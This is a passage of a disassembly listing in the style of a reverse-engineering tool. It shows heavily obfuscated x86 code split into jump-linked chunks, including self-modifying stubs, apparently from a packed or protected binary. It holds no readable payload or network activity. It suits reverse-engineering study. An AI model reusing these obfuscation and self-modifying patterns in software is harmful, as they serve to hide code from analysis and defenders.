		jmp	loc_74FC9B
; END OF FUNCTION CHUNK	FOR sub_747A67
; ---------------------------------------------------------------------------
		add	ebp, 0B8E8D84Dh
		jmp	sub_74E95A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74BD5F:				; CODE XREF: sub_74C670+6D6Fj
		sub	edi, 9F2A8983h
		mov	edi, 55BAA038h
		jmp	loc_747BC4
; END OF FUNCTION CHUNK	FOR sub_74C670

; =============== S U B	R O U T	I N E =======================================



sub_74BD6F	proc near		; CODE XREF: sub_7544F1:loc_7566D4j
					; DATA XREF: sub_753FCE-5C5Fo

; FUNCTION CHUNK AT 007452C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007483FC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074842E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007495B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749AE6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A383 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074CC39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074DFBE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00753C41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00753FC4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0075597F SIZE 00000005 BYTES

		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7472FB
		jmp	loc_749AE6
sub_74BD6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749BBA


loc_74BD7E:				; CODE XREF: sub_749BBA+13j
		jnz	loc_7468BC


loc_74BD84:				; CODE XREF: _0z4jwtox:0074B15Ej
		jmp	loc_747726
; END OF FUNCTION CHUNK	FOR sub_749BBA

; =============== S U B	R O U T	I N E =======================================



sub_74BD89	proc near		; DATA XREF: sub_74AC6D-A46o
		add	eax, 0D2F862DFh
		call	sub_746E93
		push	offset loc_74DB46
		jmp	nullsub_50
sub_74BD89	endp

; ---------------------------------------------------------------------------


loc_74BD9E:				; CODE XREF: _0z4jwtox:0074C060j
					; _0z4jwtox:00753A86j
		sub	esi, 981E5992h
		rol	esi, 1
		add	esi, 307A5C41h
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_265
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_265
; ---------------------------------------------------------------------------


loc_74BDBD:				; CODE XREF: _0z4jwtox:0074F644j
		call	sub_746E93
		mov	ds:dword_41F024, eax
		lea	eax, nullsub_290
		push	offset sub_7530AE
		jmp	near ptr dword_745988+0Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74BDD8:				; CODE XREF: sub_74673E:loc_746AC6j
		or	edi, 2B06C97h
		jns	loc_749A86


loc_74BDE4:				; CODE XREF: sub_754E41+Cj
		jmp	loc_748EB3
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 23h
		dd 0F7FD393h, 28A8Ah, 25C5E900h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_74BDFA	proc near		; CODE XREF: _0z4jwtox:0074A5FFj
					; sub_74BA2F:loc_74EB7Cp

; FUNCTION CHUNK AT 00745168 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074C494 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007544EC SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, esi
		pop	esi
		xor	edx, edx
		jmp	loc_7544EC
sub_74BDFA	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7465D2


loc_74BE09:				; CODE XREF: sub_7465D2+107FDj
		jmp	loc_7483E9
; END OF FUNCTION CHUNK	FOR sub_7465D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745715


loc_74BE0E:				; CODE XREF: sub_745715+Aj
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_745715
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_74BE13:				; CODE XREF: sub_749010+22A6j
		jnp	loc_74C1CE
		pushf
		jmp	loc_7485AC
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74BE1F:				; CODE XREF: sub_74D1F3-9FAj
		jle	loc_74EE97
		pop	ebx
		jns	loc_75608A
		jmp	loc_74B253
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------


loc_74BE31:				; DATA XREF: sub_74B525:loc_74F0ABo
		cmp	dword ptr [ebp-4], 0
		jz	loc_74D586
		call	nullsub_5
		jmp	loc_752F4F

; =============== S U B	R O U T	I N E =======================================



sub_74BE45	proc near		; CODE XREF: sub_74B525+3620j

; FUNCTION CHUNK AT 00746A62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D586 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074F01F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074FE2C SIZE 0000000F BYTES

		add	esp, 0FFFFFED8h
		jmp	loc_746A62
sub_74BE45	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74BE50:				; CODE XREF: sub_7543C5:loc_74AB2Aj
		jg	loc_747F27
		jmp	loc_7578C9
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
		push	edx
		call	sub_74B1F1
		push	offset sub_7498D6
		jmp	locret_74D88B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_74BE6B:				; CODE XREF: sub_750291+Fj
		push	edx
		call	sub_74B1F1
		mov	eax, 8D800AAh
		push	eax
		jmp	loc_74A17D
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------


loc_74BE7C:				; DATA XREF: sub_74F5B8+Eo
		jz	loc_7530DD
		mov	dword ptr [ebp-8], 1
		jmp	loc_75144F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74BE8E	proc near		; CODE XREF: sub_7452F3j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00746CA8 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		call	sub_755FD6


loc_74BE96:				; DATA XREF: sub_74F226-81A8o
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_20]
		movzx	eax, byte ptr [eax]
		jmp	loc_746CA8
sub_74BE8E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75118C


loc_74BEAA:				; CODE XREF: sub_75118C+1807j
		add	eax, 8A804214h
		xchg	eax, [esp+0]
		jmp	loc_74A70E
; END OF FUNCTION CHUNK	FOR sub_75118C
; ---------------------------------------------------------------------------


loc_74BEB8:				; CODE XREF: _0z4jwtox:0074E090j
		sub	ecx, ebx
		pop	ebp
		jg	loc_745D39
		xchg	esi, [ecx]
		jmp	loc_7512A5
; ---------------------------------------------------------------------------


loc_74BEC8:				; DATA XREF: _0z4jwtox:loc_74653Do
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		pop	ecx
		jmp	loc_753109

; =============== S U B	R O U T	I N E =======================================



sub_74BED4	proc near		; CODE XREF: sub_75263A:loc_745E8Ap
					; _0z4jwtox:007473A7j

; FUNCTION CHUNK AT 00748B31 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00748FF9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074E8F7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00753778 SIZE 0000001C BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		test	byte ptr [ebp-7], 8
		jz	loc_753778


loc_74BEE2:				; CODE XREF: sub_749980:loc_748A5Dj
		push	ebp


loc_74BEE3:				; CODE XREF: _0z4jwtox:loc_74E0BCj
		jmp	loc_74E8F7
sub_74BED4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74BEE8:				; CODE XREF: _0z4jwtox:loc_75726Aj
		call	sub_74FA8F
		jnz	loc_745A59
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jmp	loc_74AA95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74BEFE:				; CODE XREF: sub_752D11-423Dj
		jnp	loc_74592B
		not	eax


loc_74BF06:				; CODE XREF: sub_752D11:loc_7501C4j
		push	0AD5248EAh
		pop	eax
		rol	eax, 5
		jmp	loc_748918
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF82


loc_74BF14:				; CODE XREF: sub_74CF82+1AF8j
		push	edx
		call	sub_7490F6
		mov	eax, 59DAD382h
		call	sub_746E93
		jmp	loc_749385
; END OF FUNCTION CHUNK	FOR sub_74CF82
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		push	55142123h
		pop	eax
		jmp	loc_748E83

; =============== S U B	R O U T	I N E =======================================



sub_74BF3A	proc near		; CODE XREF: _0z4jwtox:007453BDj
					; sub_752E17+12p

; FUNCTION CHUNK AT 00746A21 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00748A3A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074ABB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B4D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B8B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C2EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00750033 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00754B94 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00755A36 SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_752E0F


loc_74BF48:				; CODE XREF: sub_74FC30+Dj
		mov	eax, ds:dword_74B2A0
		jmp	loc_74B4D7
sub_74BF3A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74BF52:				; CODE XREF: sub_74CBCF+3EDFj
		or	esi, 4EB8B53Eh
		jge	loc_746EC7
		sub	ebx, esi


loc_74BF60:				; CODE XREF: sub_74CBCF:loc_750AA2j
		or	ebx, 6B5F91F7h
		sub	ebx, 0FB9296D8h
		add	ebx, 17A246C6h
		jmp	loc_745F9C
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------


loc_74BF77:				; CODE XREF: _0z4jwtox:0074D060j
		push	edi


loc_74BF78:				; CODE XREF: _0z4jwtox:loc_74D050j
		add	eax, 607595A7h
		xchg	eax, [esp]
		jmp	loc_74FBA7
; ---------------------------------------------------------------------------
		mov	esp, ebp
		jmp	loc_754C54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74BF8D:				; CODE XREF: sub_74A7D8:loc_74874Ej
		xchg	ebx, [esp+0]
		push	ebx
		pop	edx
		pop	ebx
		jmp	loc_748928
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
		cmp	edx, 5B5FD99Fh
		jmp	loc_750D23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_74BFA3:				; CODE XREF: sub_753176+29D1j
		sub	ebx, 5AEE62A8h
		jmp	loc_747CF1
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75118C


loc_74BFAE:				; CODE XREF: sub_75118C+16j
		push	edx
		push	ebx
		push	9E3EAC05h
		pop	ebx
		rol	ebx, 1Ch
		add	ebx, 0A690EB2Fh
		xchg	ebx, [esp+8+var_8]
		jmp	loc_748493
; END OF FUNCTION CHUNK	FOR sub_75118C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_74BFC7:				; CODE XREF: sub_74A3AB-298Fj
		jnz	loc_7548A1
		add	ebx, ecx
		jp	loc_74964B
		sbb	ebp, 0FC40058Bh
		jmp	loc_75489D
; END OF FUNCTION CHUNK	FOR sub_74A3AB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74BFE0	proc near		; CODE XREF: sub_74CBB7:loc_74D622j
					; sub_74CBB7+C9Fp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00746282 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074B5B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D06D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074EFDA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075220D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007522BD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00754D1D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00755D51 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756587 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757418 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007575FA SIZE 00000007 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		jmp	loc_7522BD
sub_74BFE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	edi, ebp
		jmp	sub_74D505

; =============== S U B	R O U T	I N E =======================================



sub_74BFF8	proc near		; CODE XREF: _0z4jwtox:0074F0BBj
					; _0z4jwtox:00750B7Dp

; FUNCTION CHUNK AT 00745210 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00745B6E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074D3BD SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 727145FBh
		push	eax
		pushf
		push	0BB0F5E54h
		jmp	loc_745210
sub_74BFF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_74C00E:				; CODE XREF: sub_748FA4:loc_749AE1j
		jz	loc_755EEB
		jmp	loc_755716
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74C019:				; CODE XREF: sub_747C22:loc_752BBAj
		jz	loc_7559C3
		jmp	loc_752497
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_74C024:				; CODE XREF: _0z4jwtox:0074FC83j
		test	ecx, eax
		jmp	loc_745609
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74C02C:				; CODE XREF: sub_7557E7-671Bj
		jmp	loc_75763E
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------


loc_74C031:				; CODE XREF: _0z4jwtox:0074C63Dj
		jmp	nullsub_19
; ---------------------------------------------------------------------------


loc_74C036:				; CODE XREF: _0z4jwtox:0075316Bj
		xchg	edx, [esp]


loc_74C039:				; CODE XREF: _0z4jwtox:0075745Fj
		jmp	sub_7570B1
; ---------------------------------------------------------------------------
		xchg	ecx, [ebp+0]
		add	ebx, ecx
		jmp	sub_752C8E
; ---------------------------------------------------------------------------
		js	loc_756945
		jmp	loc_75251E
; ---------------------------------------------------------------------------


loc_74C053:				; CODE XREF: _0z4jwtox:loc_74DAC5j
		pop	esi
		xor	esi, 74FBEBF4h
		and	esi, 911EBD27h
		jnz	loc_74BD9E
		popf
		jmp	loc_753A77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_74C06C:				; CODE XREF: sub_74946E+8D34j
		cdq
		xchg	ecx, [ebx]
		jmp	loc_756890
; END OF FUNCTION CHUNK	FOR sub_74946E

; =============== S U B	R O U T	I N E =======================================



sub_74C074	proc near		; CODE XREF: _0z4jwtox:0074BBAFp
					; _0z4jwtox:0074E113j
		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 0AA8784D1h
		push	edi
		pushf
		push	966D7DEFh
		pop	edi
sub_74C074	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74C086:				; CODE XREF: sub_74FE55:loc_74A3B1j
		jmp	loc_74508F
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
		shl	edi, 8
		jmp	sub_752115
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74C093:				; CODE XREF: sub_7501AF-68Bj
		pop	ebp
		jmp	loc_755EEB
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_74C099:				; CODE XREF: sub_74721B:loc_74B63Ej
		sub	al, 99h
		call	sub_74F3C6
; END OF FUNCTION CHUNK	FOR sub_74721B

; =============== S U B	R O U T	I N E =======================================



sub_74C0A0	proc near		; CODE XREF: _0z4jwtox:loc_74D5B4j
					; sub_750219p ...

; FUNCTION CHUNK AT 00746CB5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007480CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00749D57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749DAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A734 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0074E802 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074FC58 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0075062A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007514E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007527B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00752850 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00753085 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754965 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007567A0 SIZE 00000005 BYTES

		jnz	loc_752850
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jmp	loc_7567A0
sub_74C0A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74C0B1:				; CODE XREF: _0z4jwtox:loc_74663Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74C0B2:				; CODE XREF: sub_74C8DA:loc_74DC95j
		shl	eax, 2
		and	edi, 1BF8EABCh
		jmp	loc_7573A4
; END OF FUNCTION CHUNK	FOR sub_74C8DA

; =============== S U B	R O U T	I N E =======================================



sub_74C0C0	proc near		; DATA XREF: sub_747968+DC73o
		add	ecx, 0FC0C1E53h
		xor	eax, ecx
		call	sub_7556D8
sub_74C0C0	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_752E17


loc_74C0CD:				; CODE XREF: sub_752E17+2Dj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_752E17
; ---------------------------------------------------------------------------


loc_74C0D2:				; CODE XREF: _0z4jwtox:0074CBB2j
		jmp	loc_753C1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74C0D7:				; CODE XREF: sub_74AAC1-72j
		jmp	loc_756F56
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_74C0DC:				; CODE XREF: _0z4jwtox:00746953j
					; _0z4jwtox:0074EDC0j
		sub	eax, 0FD6D0657h
		add	eax, 56521D8Fh
		call	sub_747B5B
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_74C0ED:				; CODE XREF: sub_748FA4+A6FDj
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EB61


loc_74C0F2:				; CODE XREF: sub_74EB61+Cj
		jmp	loc_753204
; END OF FUNCTION CHUNK	FOR sub_74EB61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_74C0F7:				; CODE XREF: sub_74CD80+Aj
		jmp	loc_74D27E
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B305


loc_74C0FC:				; CODE XREF: sub_74B305+13j
		add	edi, 10D5CB62h
		xchg	edi, [esp+4+var_4]
		jmp	loc_7523CF
; END OF FUNCTION CHUNK	FOR sub_74B305
; ---------------------------------------------------------------------------
		mov	eax, 1F1D4A60h
		call	sub_746E93
; START	OF FUNCTION CHUNK FOR sub_74E40A


loc_74C114:				; CODE XREF: sub_74E40A+5601j
		call	sub_755964
; END OF FUNCTION CHUNK	FOR sub_74E40A
; START	OF FUNCTION CHUNK FOR sub_752E0F


loc_74C119:				; CODE XREF: sub_752E0F:loc_745833j
		jnb	sub_74D424
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		jmp	loc_74B31D
; END OF FUNCTION CHUNK	FOR sub_752E0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_74C12D:				; CODE XREF: sub_7475CB:loc_748946j
		xor	edx, ebx
		adc	ebx, esi
		jmp	loc_74B675
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------

locret_74C136:				; CODE XREF: _0z4jwtox:00754CBAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749EC9


loc_74C137:				; CODE XREF: sub_749EC9+A7C2j
		jmp	loc_74838F
; END OF FUNCTION CHUNK	FOR sub_749EC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74C13C:				; CODE XREF: sub_747290+8279j
		xor	esi, 0A1B4FAFEh
		rol	esi, 14h
		cmp	esi, 0AC14AD1Fh
		jmp	loc_74A08F
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74C150:				; CODE XREF: sub_74AAC1-1ED6j
					; _0z4jwtox:0074F7F2j
		sub	ecx, 0D73F7068h
		jnz	loc_74E6BC
		push	ebp
		jmp	loc_74FC50
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_74C162:				; CODE XREF: _0z4jwtox:loc_756277j
		shl	ecx, 1Fh
		add	ecx, 0ED5B617Dh
; START	OF FUNCTION CHUNK FOR sub_74F1FE


loc_74C16B:				; CODE XREF: sub_74F1FE:loc_756264j
		sub	edi, 38AD03B6h
		js	loc_7454FD
; END OF FUNCTION CHUNK	FOR sub_74F1FE
; START	OF FUNCTION CHUNK FOR sub_74F594


loc_74C177:				; CODE XREF: sub_74F594+Ej
		jmp	loc_753350
; END OF FUNCTION CHUNK	FOR sub_74F594
; ---------------------------------------------------------------------------
		adc	edx, esi
		jmp	loc_746654
; ---------------------------------------------------------------------------
		xor	eax, 0B4CB980Fh
		add	eax, 61B047D3h
; START	OF FUNCTION CHUNK FOR sub_747968


loc_74C18F:				; CODE XREF: sub_747968:loc_74736Fj
		rol	eax, 2
		sub	eax, 17A920C7h
		push	ecx
		jmp	loc_7555CF
; END OF FUNCTION CHUNK	FOR sub_747968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74C19E:				; CODE XREF: sub_74FE55:loc_75626Aj
		cmp	edi, 0FD9CFD73h
		jmp	loc_74A3B1
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74C1A9:				; CODE XREF: sub_74D23E+89F5j
		and	edi, ebx
		and	ebx, 3F22F032h
		jmp	loc_74DDEE
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
		adc	ecx, 37B0A5C8h
		sub	ecx, 0C88D0113h
		push	esi
		js	loc_753AF4
		jmp	loc_75068A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_74C1CE:				; CODE XREF: sub_749010:loc_74BE13j
		mov	eax, 9A326B9Eh
		jmp	sub_74F30D
; END OF FUNCTION CHUNK	FOR sub_749010

; =============== S U B	R O U T	I N E =======================================



sub_74C1D8	proc near		; CODE XREF: _0z4jwtox:00752A9Cj
					; sub_746640+F7E7p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00746118 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747127 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074743C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007476CF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074CEB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074EC6A SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	esi
		push	0EDCF98D4h
		jmp	loc_746118
sub_74C1D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74C1EF:				; CODE XREF: _0z4jwtox:007492B1j
		pop	edi
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		jmp	loc_751052
; ---------------------------------------------------------------------------


loc_74C1FB:				; DATA XREF: sub_74952C+1E04o
		xchg	eax, [esp]
		push	658F3E37h
		pop	ebx
		add	ebx, 18E779C2h
		sub	ebx, 0E5BCC120h
		add	ebx, 67BAB65Fh
		xchg	ebx, [esp]
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_74C219:				; CODE XREF: sub_7462C2:loc_755291j
		jmp	loc_7574DE
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
		mov	eax, 19EDC823h
		call	sub_746E93
		push	ecx
		push	7CC30B68h
		mov	ecx, ebx
		jmp	loc_74AB25
; ---------------------------------------------------------------------------


loc_74C235:				; DATA XREF: sub_75740D-69D8o
		xchg	edx, [esp]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jno	loc_7506BD
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_748081
; ---------------------------------------------------------------------------


loc_74C252:				; CODE XREF: _0z4jwtox:00747716j
		push	offset sub_75452E
		jmp	locret_7540FE
; ---------------------------------------------------------------------------


loc_74C25C:				; CODE XREF: _0z4jwtox:007493A3j
		adc	ebx, ebp


loc_74C25E:				; CODE XREF: _0z4jwtox:loc_74AE9Cj
		push	0B0BE2EFCh
		pop	eax
		xor	eax, 0D6AA4B96h
		and	eax, 0C2B3E6D8h
		cmp	eax, 4DCB1764h
		jmp	loc_74AEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_74C27B:				; CODE XREF: sub_748C0D+D934j
		jge	loc_752010
; END OF FUNCTION CHUNK	FOR sub_748C0D
; START	OF FUNCTION CHUNK FOR sub_7468F2


loc_74C281:				; CODE XREF: sub_7468F2+D376j
		jmp	loc_74A3EB
; END OF FUNCTION CHUNK	FOR sub_7468F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E11E


loc_74C286:				; CODE XREF: sub_74E11E-18AFj
		jmp	loc_753B29
; END OF FUNCTION CHUNK	FOR sub_74E11E
; ---------------------------------------------------------------------------
		or	ecx, 550F7D67h
		pushf
		mov	ecx, 1268E894h
		and	esi, 0F5D3B40Bh
		jmp	loc_752010
; ---------------------------------------------------------------------------


loc_74C2A2:				; DATA XREF: sub_74A7BD+3o
		xchg	ebp, [esp]
		push	0E56EC052h
		pop	eax
		and	eax, 0A1E64CD8h
		jmp	loc_749532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C3F


loc_74C2B6:				; CODE XREF: sub_754C3F+10j
		inc	dword ptr [ebp-4]
		jmp	loc_751326
; END OF FUNCTION CHUNK	FOR sub_754C3F

; =============== S U B	R O U T	I N E =======================================



sub_74C2BE	proc near		; CODE XREF: sub_74673E:loc_74674Ep
		mov	eax, 0E4h
		retn
sub_74C2BE	endp

; ---------------------------------------------------------------------------


loc_74C2C4:				; CODE XREF: _0z4jwtox:0074B466j
		jmp	loc_74AC44

; =============== S U B	R O U T	I N E =======================================



sub_74C2C9	proc near		; CODE XREF: _0z4jwtox:loc_745E3Fp
					; sub_75275A-C87Bp ...

; FUNCTION CHUNK AT 00746547 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00746E17 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007485E0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074935F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A05A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074FB29 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074FF99 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00750F19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752D5F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00755A83 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0075623C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756965 SIZE 00000005 BYTES
